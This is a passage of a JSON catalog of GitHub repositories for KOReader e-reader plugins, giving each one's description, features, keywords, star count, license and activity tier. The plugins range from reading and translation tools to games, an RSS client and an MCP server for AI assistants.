use…"],"keywords":["metaguiding","works","modes","tools","typesetting","meta","guiding","bionic","notes","files","tests","word","file","apply","bolded","copy","epub","original","restore","rewriting","transform","adds","backup","before"],"topics":[],"stars":8,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-29T20:21:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3449,"detail":"detail/luizcorreia__metaguiding.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rezmdie/legadoSkill","owner":"rezmdie","repo":"legadoSkill","url":"https://github.com/rezmdie/legadoSkill","description":"Automate creating Legado reading source files by analyzing websites with AI to generate valid JSON for efficient source development.","purpose":"legadoSkill is a tool designed to help you create book sources for the Legado reading app on Android. It uses AI to analyze websites and automatically generate book source files in JSON format. This means you do not have to write code or understand complex programming rules to add new books or content to your Legado…","categories":["ai","device","files","content"],"features":["A Windows PC","Python version 3.8 or newer installed","The AI client called Trae IDE or any other MCP protocol-compatible client. This is where the tool runs and processes your book…","Right-click the file","Choose Extract All","Pick a location, such as a new folder on your Desktop","Click Extract","Open the Start menu and type cmd. Click the Command Prompt app","Use the command prompt to go to the folder where you extracted legadoSkill. For example","Run this command to install dependencies"],"keywords":["agent-skills","android","awesome","clawd","clawdhub","directory","icons","jupyter-notebooks","kindle","koreader-plugin","kotlin","moltbot-skills","openclaw","pandas","skill","stuq","vue","xiaoshuo","automate","creating","legado","reading","source","files"],"topics":["agent-skills","android","awesome","clawd","clawdhub","directory","icons","jupyter-notebooks","kindle","koreader-plugin","kotlin","moltbot-skills","openclaw","pandas","skill","stuq","vue","xiaoshuo"],"stars":8,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T05:52:13Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":6553,"detail":"detail/rezmdie__legadoSkill.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"tachibana-shin/koreader_remote_turner","owner":"tachibana-shin","repo":"koreader_remote_turner","url":"https://github.com/tachibana-shin/koreader_remote_turner","description":"Remote-control KOReader from your phone or desktop. Turn pages forward/backward and send sleep commands wirelessly via WebSocket — no network file shares, no cloud, just direct LAN communication.","purpose":"Remote-control KOReader from your phone or desktop. Turn pages forward/backward and send sleep commands wirelessly via WebSocket — no network file shares, no cloud, just direct LAN communication.","categories":["ui","files"],"features":["Flutter app: Listens for hardware volume buttons (or on-screen buttons), sends next_page / prev_page / sleep messages via…","KOReader plugin: Pure-Lua WebSocket client connects to the app, receives messages, and dispatches GotoViewRel / RequestSuspend…","Volume button page turning (Android foreground service, iOS KVO, desktop KeyboardListener)","On-screen manual buttons + auto-connect","Multi-key binding per action (chip + record UI)","Authentication via SHA-256 challenge/response","Event logging with JSONL persistence","Theme: Light / Dark / System","Locales: English, Vietnamese, Japanese, Chinese (Simplified)","KOReader plugin with auto-discovery via UDP broadcast"],"keywords":["flutter-apps","koreader","koreader-plugin","koreader-plugins","remote-control","phone","desktop","turn","pages","forward","backward","send","sleep","commands","wirelessly","via","websocket","network","file","shares","cloud","just","direct","lan"],"topics":["flutter-apps","koreader","koreader-plugin","koreader-plugins"],"stars":8,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-25T12:25:40Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5204,"detail":"detail/tachibana-shin__koreader_remote_turner.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zanderp/miniflux.koplugin","owner":"zanderp","repo":"miniflux.koplugin","url":"https://github.com/zanderp/miniflux.koplugin","description":"KOReader plugin to access a Miniflux instance to read your RSS feed entries with offline capabilities.","purpose":"A KOReader plugin that lets you read RSS entries from a Miniflux server on your e-reader, online or offline. Releases: zanderp/miniflux.koplugin","categories":["sync","ui","web","files","notes"],"features":["Main list: Unread, Read, Starred, Feeds, Categories, Search, and Local (downloaded). Counts update after actions","Read tab: Browse all read entries (same order/limit as settings). Long-press Read on the main screen for “Remove all from read…","Unread: Long-press Unread on the main screen for “Mark all as read (up to 1000)”. In the Unread list, first row “Mark all as read…","Starred: Bookmarked entries. Search: Full-text search via Miniflux API","Feeds & categories: Navigate by feed or category; mark feed/category as read from selection mode","Selection: Long-press an entry or use the check icon to enter selection mode. Select all / Deselect all; then choose an action","Mark as Read / Mark as Unread: Apply to selected entries; list and main counts refresh after the server responds"],"keywords":["access","miniflux","instance","read","rss","feed","entries","offline","capabilities","browsing","lists","selection","mode","bulk","actions","reading","html","viewer","status","storage","sync","menu","updates","development"],"topics":[],"stars":8,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-02-19T18:10:17Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":10625,"detail":"detail/zanderp__miniflux.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"coffman/kochess.koplugin","owner":"coffman","repo":"kochess.koplugin","url":"https://github.com/coffman/kochess.koplugin","description":"Working Chess plugin for Koreader","purpose":"Play real chess on your e-reader — powered by Stockfish Turn your KOReader device into a focused, distraction-free chessboard. Kochess brings a full UCI chess engine, PGN support, clocks and analysis straight to your e-ink device.","categories":["ui","files","games"],"features":["♞ Play against Stockfish 11 (UCI engine)","♛ Play against a friend in the same device","📖 Load and save games in PGN format","⏳ Built-in chess clocks (time + increment)","🔁 Undo / Redo full game history","🧠 Shows opening name and engine evaluation","👤 Configure Human vs Engine per color","📂 File browser to load your own chess games","✏️ Supports comments and headers from PGN","🪶 Optimized for e-ink devices (Kobo, reMarkable)"],"keywords":["working","chess","kochess","launching","interface","overview","playing","game","making","move","pawn","promotion","clocks","pgn","system","save","load","toolbar","settings","engine","storage","demo","credits","stockfish"],"topics":[],"stars":7,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-01-09T13:17:10Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4736,"detail":"detail/coffman__kochess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"finlater/pinyinplus.koplugin","owner":"finlater","repo":"pinyinplus.koplugin","url":"https://github.com/finlater/pinyinplus.koplugin","description":"koreader拼音输入法增强，在输入框中显示拼音字母，在输入键盘上方显示候选词栏，可直接点击候选词就行输入。","purpose":"KOReader 拼音输入法增强插件。启用后，在中文拼音键盘上方显示候选词栏，并在输入过程中保留当前拼音状态，方便直接点选候选词输入汉字。 本项目基于 pinyin_enhancement.koplugin 修改和重构，主要优化候选词栏界面与输入体验。","categories":["ui","dict"],"features":["在拼音输入过程中显示候选词栏。","点击候选词即可直接输入对应汉字。","支持候选词翻页。","在输入框中实时显示当前拼音。","可在 KOReader 设置菜单中启用或关闭插件。","兼容 KOReader Terminal，避免中文键盘 IME 包装导致终端无响应。","下载或克隆本仓库。","将整个 pinyinplus.koplugin 文件夹放入 KOReader 的 plugins 目录。","重启 KOReader。","打开 KOReader 的设置菜单。"],"keywords":["chinese","input","keyboard","koreader","pinyin","chinese-input","input-method","pinyinplus","terminal","ime"],"topics":["chinese","input","keyboard","koreader","pinyin","chinese-input","input-method"],"stars":7,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-08T06:23:09Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2153,"detail":"detail/finlater__pinyinplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fvelsg/dtdisplay.koplugin","owner":"fvelsg","repo":"dtdisplay.koplugin","url":"https://github.com/fvelsg/dtdisplay.koplugin","description":"A Koreader plugin to display the time and day in a fullscreen widget (with rotation option added)","purpose":"A [koreader][1] plugin to display the time and day in a fullscreen widget with images allowed and some other functionalities.","categories":["ui"],"features":[],"keywords":["display","time","day","fullscreen","widget","rotation","option","added","dtdisplay","fork","motivation","testing","portrait","landscape","menus","screensavers","credits","clock","https","github","text","changes","date","device"],"topics":[],"stars":7,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2026-03-04T12:25:26Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3395,"detail":"detail/fvelsg__dtdisplay.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hluiz2628-blip/tarot.koplugin","owner":"hluiz2628-blip","repo":"tarot.koplugin","url":"https://github.com/hluiz2628-blip/tarot.koplugin","description":"Tarot: draw random cards with meanings, navigate between them and configure reversed cards.","purpose":"A simple Tarot and Lenormand plugin for KOReader. Draw cards, reveal meanings, save reflections, and browse the card book directly on your device.","categories":["device"],"features":["Tarot and Lenormand support","Daily Card","Hidden Card spread with a 4x4 grid","Readings with up to 16 cards","Physical Deck mode","Card Book with meanings","Use book highlights as personal card meanings","Reflection Journal","Adaptive fullscreen layout","E-ink friendly refresh options"],"keywords":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","lenormand","tarot","tarot-reading","draw","random","cards","meanings","navigate","between","them","configure","reversed","credits","card","book","https","portuguese","daily","hidden","spread"],"topics":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","lenormand","tarot","tarot-reading"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T16:53:01Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1078,"detail":"detail/hluiz2628-blip__tarot.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KodeshKit/tabbedreader.koplugin","owner":"KodeshKit","repo":"tabbedreader.koplugin","url":"https://github.com/KodeshKit/tabbedreader.koplugin","description":"Adds browser-style tabs to KOReader","purpose":"This plugin adds browser-style tabs to KOReader. It is recommended that you set the `Top Margin` to at least `50`, as otherwise the tabs will hide the content.","categories":["web"],"features":[],"keywords":["koreader","koreader-plugin","adds","browser-style","tabs","tabbedreader"],"topics":["koreader","koreader-plugin"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T06:10:36Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":197,"detail":"detail/KodeshKit__tabbedreader.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ksaMask123/artgallery.koplugin","owner":"ksaMask123","repo":"artgallery.koplugin","url":"https://github.com/ksaMask123/artgallery.koplugin","description":"KOReader 看图插件「美术馆 / ArtGallery」：抽屉预览 + 全屏沉浸式看图，支持铺满/适配/拉伸三态填充、看图同步书籍进度、缩放/平移/收藏。面向 Kindle PaperWhite 3 等墨水屏。基于 Glimpse 合并 Illustrations 的全屏看图能力。","purpose":"中文：美术馆（ArtGallery）是 KOReader 的一款看图插件，原名 Mirador，由 Glimpse 合并 Illustrations 的全屏看图能力而来。它让你在阅读电子书时直接浏览书中的地图、族谱、参考图、漫画分镜等图片，不丢失阅读位置；支持抽屉式缩略图预览与一键全屏沉浸式查看，可缩放、平移、旋转、收藏。","categories":["sync","ui","web","reading"],"features":["EPUB — 滚动文档（小说、带地图 / 族谱的参考书），美术馆内置画廊的原生强项：在任意 EPUB 阅读界面一键打开本书图片浏览器，全套过滤 / 收藏 / 忽略 / 进度同步能力均可用；","CBZ — 漫画压缩包，经文件管理器「浏览 CBZ 漫画」菜单入口，用美术馆全屏翻阅其页面图片（每页即一张图，不做相关性过滤）；","PDF / DjVu — 暂不支持：美术馆对这两类分页文档会提示「仅支持 EPUB 格式」，请勿用本插件浏览其中的图片。","EPUB — scrolling documents (novels, reference books with maps / family trees); the native strength of the in-book gallery: open…","CBZ — comic archives, opened via the file-manager \"Browse CBZ comics\" menu entry; the gallery pages through the archive's images…","PDF / DjVu — not supported yet: ArtGallery tells you \"only EPUB is supported\" for these paged formats, so don't use it to browse…","铺满 (Cover)：按比例放大直至填满整个屏幕，边缘超出部分被裁切，适合漫画、海报等需要填满画面的场景。","适配 (Contain)：按比例完整显示整张图片，保留全部内容，可能留出黑边，适合地图、图表等不能丢信息的场景。","拉伸 (Stretch)：非等比拉伸填满屏幕，充分利用每一寸显示面积，同时仍支持缩放与平移手势。"],"keywords":["artgallery","kindle","paperwhite","glimpse","illustrations","introduction","formats","in-book","menu","entry","about","dialog","drawer-style","image","preview","immersive","fullscreen","three","fit","modes","cover","mode","cropped","contain"],"topics":[],"stars":7,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T14:55:23Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":37501,"detail":"detail/ksaMask123__artgallery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/merchant.koplugin","owner":"omer-faruq","repo":"merchant.koplugin","url":"https://github.com/omer-faruq/merchant.koplugin","description":"Merchant, a turn-based trading game for KOReader.  Buy low and sell high across six trading posts over 30 days","purpose":"A turn-based trading game for KOReader. Buy low, sell high, fend off raiders, and pay off the moneylender before 30 days are up. It's a numbers game at heart — perfect for an e-reader.","categories":["files","games"],"features":["Silk Road caravan (default) — haul saffron and silk between","Star trader — run antimatter and quantum cores between stations while","Clipper captain — carry tea and porcelain between the great ports of the","Antique dealer — hunt manuscripts and pocket watches across the city's","Buy / Sell — trade the goods listed in the current market. Prices change","Travel — move to another trading post. Each trip costs you a day. New","Moneylender — you start 5,500 in debt and it grows 10% a day. Pay it","Bank — stash money safely; the bank pays 5% a day","_meta.lua — plugin manifest","main.lua — the KOReader UI: full-screen game board, menus, and persistence"],"keywords":["koreader-plugin","merchant","turn-based","trading","game","buy","low","sell","high","across","six","posts","over","days","themes","play","languages","files","theme","bank","between","english","l10n","language"],"topics":["koreader-plugin"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-11T05:35:38Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3172,"detail":"detail/omer-faruq__merchant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"onatbas/htmlreplacer.koplugin","owner":"onatbas","repo":"htmlreplacer.koplugin","url":"https://github.com/onatbas/htmlreplacer.koplugin","description":"A KOReader plugin that lets you edit EPUB HTML content directly on your device using regex replacements with a safe preview-and-apply workflow.","purpose":"Apply regex-based replacements and add footnotes to EPUB HTML content with a preview-and-apply workflow. Each book has its own set of replacement rules, stored in the book's `.sdr` folder (just like CSS tweaks). Rules you create for one book won't affect other books.","categories":["ui","notes"],"features":["Two Rule Types: Replacement rules and Footnote rules","Apply Lua regex patterns to modify EPUB HTML content","Remove unwanted elements (spans, divs, etc.)","Add or modify content","Insert footnotes with proper EPUB structure (links, backlinks, footnote sections)","Enable/disable rules individually","All rules are BOOK-SPECIFIC (stored with each book's metadata)","Preview changes in a temporary cache before applying","Apply permanently to replace the original EPUB (with backup)","Revert to restore original from backup"],"keywords":["lets","edit","epub","html","content","directly","device","regex","replacements","safe","preview-and-apply","workflow","replacer","preview","quick","fast","important","rules","book-specific","start","method","recommended","first-time","confident"],"topics":[],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-25T15:52:49Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":9466,"detail":"detail/onatbas__htmlreplacer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"right9code/fontswitcher.koplugin","owner":"right9code","repo":"fontswitcher.koplugin","url":"https://github.com/right9code/fontswitcher.koplugin","description":"","purpose":"A lightweight and powerful plugin for KOReader that allows you to quickly cycle through your system fonts using gestures or a dedicated menu in the Typeset tab. Designed specifically for reflowable documents (EPUB, FB2, etc.).","categories":["ui","device"],"features":["Gesture Support","Assign gestures (swipes, taps, corners) to Next Font, Previous Font, or Open Font List","Accessible under the General category in the Gesture Manager","Menu Integration","Adds a \"Font Switcher\" entry directly into the Gereral tab in the Top Menu for quick access","Interactive Font List","View all available system fonts in a clean, scrollable list","Currently active font is automatically highlighted with a checkmark","Native look and feel using standard KOReader UI components","Intelligent Detection"],"keywords":["fonts","kindle","kobo","koreader","koreader-plugin","font","switcher","etc","assigning","gestures","top","menu","technical","details","list","documents","gesture","reflowable","epub","next","open","typeset","access","adds"],"topics":["fonts","kindle","kobo","koreader","koreader-plugin"],"stars":7,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-01-07T11:56:46Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":2375,"detail":"detail/right9code__fontswitcher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"roygbyte/sudoku.koplugin","owner":"roygbyte","repo":"sudoku.koplugin","url":"https://github.com/roygbyte/sudoku.koplugin","description":"Solve sodoku puzzles on your e-reader","purpose":"","categories":["games"],"features":[],"keywords":["solve","sodoku","puzzles","e-reader"],"topics":[],"stars":7,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2022-10-16T00:08:45Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"s4m-mo/pomodoro.koplugin","owner":"s4m-mo","repo":"pomodoro.koplugin","url":"https://github.com/s4m-mo/pomodoro.koplugin","description":"Pomodoro timer for KOReader.","purpose":"This is a minimal pomodoro timer plugin for KoReader. It has a 25min focus session followed by a 5 minute break on a cycle.","categories":["misc"],"features":["Place it in your Kindle's filesystem in koreader/plugins as pomodoro.koplugin","Now you can access it through"],"keywords":["koreader-plugin","pomodoro","timer","break","focus","kindle","progress","screen","session","through","whilst","place","filesystem","now","access"],"topics":["koreader-plugin"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-10T17:00:20Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":742,"detail":"detail/s4m-mo__pomodoro.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"unitreign/Mythos","owner":"unitreign","repo":"Mythos","url":"https://github.com/unitreign/Mythos","description":"A simple web novel library for KOReader. Browse, track, and export your favorite stories as EPUBs to read offline.","purpose":"A web novel library for KOReader. Browse, track, and export your favourite stories as EPUBs — right on your e-reader.","categories":["web","library","files","reading","content"],"features":["Browse & search — explore popular novels or search by title directly from your device","Track novels — save novels to your library and check for new chapters at a glance","Chapter selection — pick all chapters, deselect what you don't want, or cherry-pick a custom range","Flexible export — export as a single EPUB, one EPUB per chapter, or bundled into volumes of N chapters","Organised output — EPUBs are saved to Mythos/Series/Book.epub with cover art embedded","Extension system — sources are installable plugins; add new sites without updating Mythos itself","Chapter caching — re-opening a tracked novel is fast; only new chapters are fetched","KOReader, any reasonably recent build","A Kobo, Kindle, or other device KOReader supports","Wi-Fi for fetching novels; exports work fully offline after that"],"keywords":["koreader-plugin","koreader-plugins","simple","web","novel","library","browse","track","export","favorite","stories","epubs","read","offline","mythos","requirements","getting","started","source","search","epub","tips","extensions","installing"],"topics":["koreader-plugin","koreader-plugins"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T16:59:59Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6904,"detail":"detail/unitreign__Mythos.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yupmoon/vocabdeck.koplugin","owner":"yupmoon","repo":"vocabdeck.koplugin","url":"https://github.com/yupmoon/vocabdeck.koplugin","description":"A vocabulary deck and flashcard plugin for KOReader. Save words while reading, enrich them with AI, and review with spaced repetition.","purpose":"VocabDeck is a vocabulary deck and flashcard plugin for KOReader. It lets you save words and phrases while reading, keep the sentence or context where they appeared, enrich missing information with AI, and review the cards later with spaced repetition. The interface is designed for e-ink: text-first, quiet, fast, and…","categories":["sync","ui","dict","web","ai","reading"],"features":["Save words as you read — tap Add to VocabDeck from the dictionary popup or highlight menu. Each card keeps the word, its…","Get AI definitions on the spot — use Define (VocabDeck) when the built-in dictionary doesn't have what you need. It fetches a…","Add cards manually — open the main menu and pick Add new card to type in a word or phrase yourself","Browse and manage everything — open All cards or Cards for this book. Tap any row to view details, edit fields, refetch AI data,…","Search and filter — search by text, filter by word type or source language, or show only flagged cards. Sort by any field and…","Study with spaced repetition — review using Again, Hard, Good, and Easy with an FSRS-style scheduler. Pick a source language or a…","Extra study when you want it — finished today's due cards? Study more lets you add extra new cards or extra reviews for the day"],"keywords":["koreader-plugin","vocabulary","deck","flashcard","save","words","while","reading","enrich","them","review","spaced","repetition","vocabdeck","quick","start","main","menu","providers","api","keys","configuration","file","custom"],"topics":["koreader-plugin"],"stars":7,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-11T11:19:45Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10026,"detail":"detail/yupmoon__vocabdeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"anezih/imageprocessing.koplugin","owner":"anezih","repo":"imageprocessing.koplugin","url":"https://github.com/anezih/imageprocessing.koplugin","description":"KOReader plugin for higher-quality manga/comic image scaling with AVIR/Lanczos resampling, sharpening, text darkening, and color post-processing controls.","purpose":"This plugin replaces KOReader's `RenderImage:scaleBlitBuffer()` image scaling path with an AVIR/LANCIR based native implementation when `libimageprocessing.so` is available. If the native library cannot be loaded, or a BlitBuffer type is not supported, KOReader's default scaler is used.","categories":["library","files","reading","content"],"features":["libs/android/armeabi-v7a/libimageprocessing.so","libs/android/arm64-v8a/libimageprocessing.so","libs/linux/x86_64/libimageprocessing.so","build/imageprocessing.koplugin","README.md","root *.lua plugin files","resources/... plugin assets","libs/kobo/kobov5/libimageprocessing.so","libs/kindle/kindle-legacy/libimageprocessing.so","libs/kindle/kindle/libimageprocessing.so"],"keywords":["comics","image-processing","koreader","koreader-plugin","manga","plugin","lanczos","higher-quality","comic","image","scaling","avir","resampling","sharpening","text","darkening","color","post-processing","controls","processing","android","build","linux","emulator"],"topics":["comics","image-processing","koreader","koreader-plugin","manga","plugin","lanczos"],"stars":6,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-05T00:11:20Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5634,"detail":"detail/anezih__imageprocessing.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"anezih/offlinetranslator.koplugin","owner":"anezih","repo":"offlinetranslator.koplugin","url":"https://github.com/anezih/offlinetranslator.koplugin","description":"Offline translation and OCR bridge for KOReader.","purpose":"Offline translation and OCR bridge for KOReader. It uses Firefox translation models for local Bergamot translation, KOReader's own `data/tessdata` directory for Tesseract OCR, and optional PaddleOCR/PPOCR MNN models for speech-bubble OCR. Japanese manga bubbles can also use Manga OCR through ONNX Runtime when the…","categories":["dict","content"],"features":["File manager: Search > Settings > Offline Translator","Reader: Search > Settings > Offline Translator","Selected text in reader: long press text > select text > Offline Translation","Model catalog: /offlinetranslator/models/models.json","Translation model files: /offlinetranslator/models/models/","PPOCR model files: /offlinetranslator/ppocr/","Manga OCR model files: /offlinetranslator/manga-ocr/","translate(text, from_code, to_code)","getInstalledPairs() returns { from, to, label } rows","getDirection() and setDirection(from_code, to_code)"],"keywords":["koreader","koreader-plugin","manga","ocr","offline-translation","offline","translation","bridge","translator","runtime","lua","api","build","dependencies","credits","pp-ocrv5","https","offline-translator","davidv","int8","keys","mobile","infer","model"],"topics":["koreader","koreader-plugin","manga","ocr","offline-translation"],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-24T19:16:52Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9500,"detail":"detail/anezih__offlinetranslator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"bogorad/koreader-chapter-summarizer.koplugin","owner":"bogorad","repo":"koreader-chapter-summarizer.koplugin","url":"https://github.com/bogorad/koreader-chapter-summarizer.koplugin","description":"","purpose":"AI-powered chapter summaries using OpenRouter.ai and Grok-4-Fast Method 1: Via Menu Method 2: Via Keyboard Shortcut","categories":["misc"],"features":["Generate AI summaries with customizable prompts","Fast summaries using x-ai/grok-4-fast by default","Save summaries for later review","View summary history","Customizable AI model and parameters","Android: /sdcard/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","Kindle: /mnt/us/koreader/plugins/","Other: ~/.config/koreader/plugins/","The plugin will be automatically enabled"],"keywords":["chapter","summarizer","option","manual","git","clone","setup","openrouter","api","key","credits","configure","summarize","current","view","summary","history","models","fast","affordable","settings","model","prompt","max"],"topics":[],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-10-25T16:58:12Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":6108,"detail":"detail/bogorad__koreader-chapter-summarizer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"bubblegumisnice/chinese.koplugin","owner":"bubblegumisnice","repo":"chinese.koplugin","url":"https://github.com/bubblegumisnice/chinese.koplugin","description":"Simple plugin that loads a stardict headword file in memory (when opening a book) and finds the longest word match upon selecting a character, then returns the dictionary entry from user dictionaries.  ","purpose":"Provides integration with a StarDict headword lexicon for Chinese. Implements efficient longest-match selection using headwords, with final display handled through KOReader’s built-in dictionary system.","categories":["dict","files","reading"],"features":["Extends KOReader’s dictionary and text selection system to support Chinese","Performs efficient scanning and longest-match word lookup","Integrates seamlessly with KOReader’s built-in dictionary display system","Adds an option under Document → Language support plugins → Chinese where the lexicon can be toggled on/off without disabling the…","At least one installed Chinese dictionary","Recommended: CEDICT (StarDict version)","Ensure that the required dictionary files (*.ifo and *.idx) are present","Edit main.lua to specify the dictionary path on line 210 (including the dictionary filename without the file extension)"],"keywords":["simple","loads","stardict","headword","file","memory","opening","book","finds","longest","word","match","upon","selecting","character","returns","dictionary","entry","dictionaries","chinese","requirements","licence","system","built-in"],"topics":[],"stars":6,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-09-01T04:30:59Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1343,"detail":"detail/bubblegumisnice__chinese.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"c5e3/koreader_wikipedia","owner":"c5e3","repo":"koreader_wikipedia","url":"https://github.com/c5e3/koreader_wikipedia","description":"","purpose":"A KOReader plugin that opens Kiwix ZIM files directly — no conversion, no extraction, no companion server. Search articles, tap links to navigate, walk back through history. Tested against `wikipedia_en_all_mini_2026-03.zim` (19 M articles, 12.4 GB, ZIM v6 with zstd-compressed clusters), but any ZIM from the Kiwix…","categories":["files","notes"],"features":["A KOReader-capable device. Kindle (jailbroken, with KUAL), Kobo, PocketBook, reMarkable, Android, etc. This plugin is developed…","KOReader installed and working. See for installation. If you can't already open a book in KOReader, fix that first","A desktop computer with Python 3.x for the split_zim.py helper (only needed if your device's storage is FAT32, which is the case…","wikipedia_en_all_mini — full English Wikipedia, text only, ~12 GB","wikipedia_en_simple_all — Simple English Wikipedia, ~300 MB. Great for testing","wikipedia_*_all (any language) — full text + thumbnails. Larger","wiktionary_*, wikibooks_*, wikiquote_*, gutenberg_*, stackoverflow_*, etc. — all are valid ZIMs and will be searchable side by…","Connect the device by USB. It mounts as a drive (e.g. E: on Windows, /Volumes/Kindle on macOS). Inside you'll see a koreader/…"],"keywords":["kiwix","koreader","koreader-plugin","offline","wikipedia","zim","repo","prerequisites","step","download","file","split","fat32","devices","only","zims","device","configuration","inside","performance","notes","troubleshooting","credits","open"],"topics":["kiwix","koreader","koreader-plugin"],"stars":6,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-05T06:39:08Z","license":"NOASSERTION","default_branch":"main","has_meta":false,"readme_bytes":11273,"detail":"detail/c5e3__koreader_wikipedia.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"dwigunakd/collectionsmosaic.koplugin","owner":"dwigunakd","repo":"collectionsmosaic.koplugin","url":"https://github.com/dwigunakd/collectionsmosaic.koplugin","description":"Display Collections as Virtual Folder in Koreader File Browser developed with the help of Claude AI.","purpose":"Each collection appears as its own folder, with a background image automatically generated from the book covers inside. Arrange books inside each collection using your own preferred order. Easily rename collections directly from the interface.","categories":["web","library","ai","files","notes"],"features":["### Browse collections as virtual folders","### Custom sorting within collections","### Rename collections"],"keywords":["display","collections","virtual","folder","file","browser","developed","help","claude","view","transforms","more","visual","folder-like","browsing","experience","tested","kindle","paperwhite","2026","preview","root","list","collection"],"topics":[],"stars":6,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-24T09:39:55Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1498,"detail":"detail/dwigunakd__collectionsmosaic.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"laughedelic/mcp.koplugin","owner":"laughedelic","repo":"mcp.koplugin","url":"https://github.com/laughedelic/mcp.koplugin","description":"MCP server for KOReader","purpose":"A KOReader plugin that implements a Model Context Protocol (MCP) server, enabling AI assistants to interact with your e-books in real-time.","categories":["library","ai","notes"],"features":["Book Content Access: AI assistants can read your current book's content at different scopes (current page, chapter, specific page…","Metadata Retrieval: Access book metadata including title, author, reading progress, and statistics","Interactive Tools: Search within books, navigate to pages, get table of contents, add highlights and notes","Resource Subscriptions: Subscribe to resources and receive automatic notifications when they change (page turns, book changes)","Client Features (MCP 2025-03-26)","Sampling: Server can request LLM completions from the client","Elicitation: Server can request user input (confirmations, text input, choices)","Logging: Server can send log messages to the client","Secure Local Network: Server binds to your local network only","Cloud Relay: Access your e-reader from anywhere via a cloud 